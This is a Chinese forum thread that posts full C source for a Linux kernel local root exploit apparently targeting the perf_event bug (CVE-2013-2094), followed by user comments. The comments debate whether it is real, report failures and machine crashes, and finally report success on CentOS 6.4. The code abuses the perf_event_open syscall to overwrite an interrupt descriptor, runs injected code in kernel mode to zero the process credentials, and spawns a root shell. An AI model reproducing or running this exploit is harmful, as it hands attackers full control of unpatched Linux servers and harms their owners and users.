/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 [email][email protected][/email], salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}
int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\[email][email protected][/email] 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
评论15次
运行试下
X86_64 这洞子要是真的,覆盖范围广啊
很牛x 500台
ls牛,测试500台……
测试了500台机器,没有一台成功 分析报告就不上了
不明真假
如果是假的 都拿到了CVE 那也值了 而且还有编号2013-2094 说明已经入库了的不能随意改了 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2094 某种意义来说CVE已经算是一个预警标准了
看着不像
真假 坐等证实...
额 坐等继续发言。。
看微博上说这个EXP是假的那 -。-
听xi科说是出报告了~木有亲测
测试会宕机……洞应该是存在的,exp不会鉴定
2013年5月15日清晨,各大linux帽子,黑白厂商,内核达人。。。都收到了一条消息:Linux内核严重安全漏洞,安全等级高,本地提权 如同晴空中的一声闷雷,厕所隔壁的一个臭屁,大妈家青春女儿的内裤,瞬间各自入手测试。 xi科道展安全顾问团队在迅雷不及掩耳盗铃的绝对优势的第一时间抢到了这枚粉木耳,并强势插入,发现原来是个充气娃娃。 我们在debian 6.0 linux 2.6.32-5上测试失败,在CentOS环境未找到上面提到的漏洞文件,武半秃,变态5,各种测试,均为失败。 经过我大xi科 2位Linux大牛 + 2位Linux 二分之一大牛 合计共3位大牛的强势肢解,发现此木耳绝对是充气娃娃。 在xi科看到的,好像是假的。。。
终于 Centos 6.3 6.4有的解了 但是 “ 服务器供应商昨天晚上到今天早上就接到邮件通知 应该今天中午全部patch掉了 ” 现在这个exp 计算地址转换有问题 所以个别内核主机会拓机 你们玩吧 哈哈 Centos 6.4 2.6.32内核的成功了 “seems like centos 2.6.32 backported the perf bug” ╮(╯▽╰)╭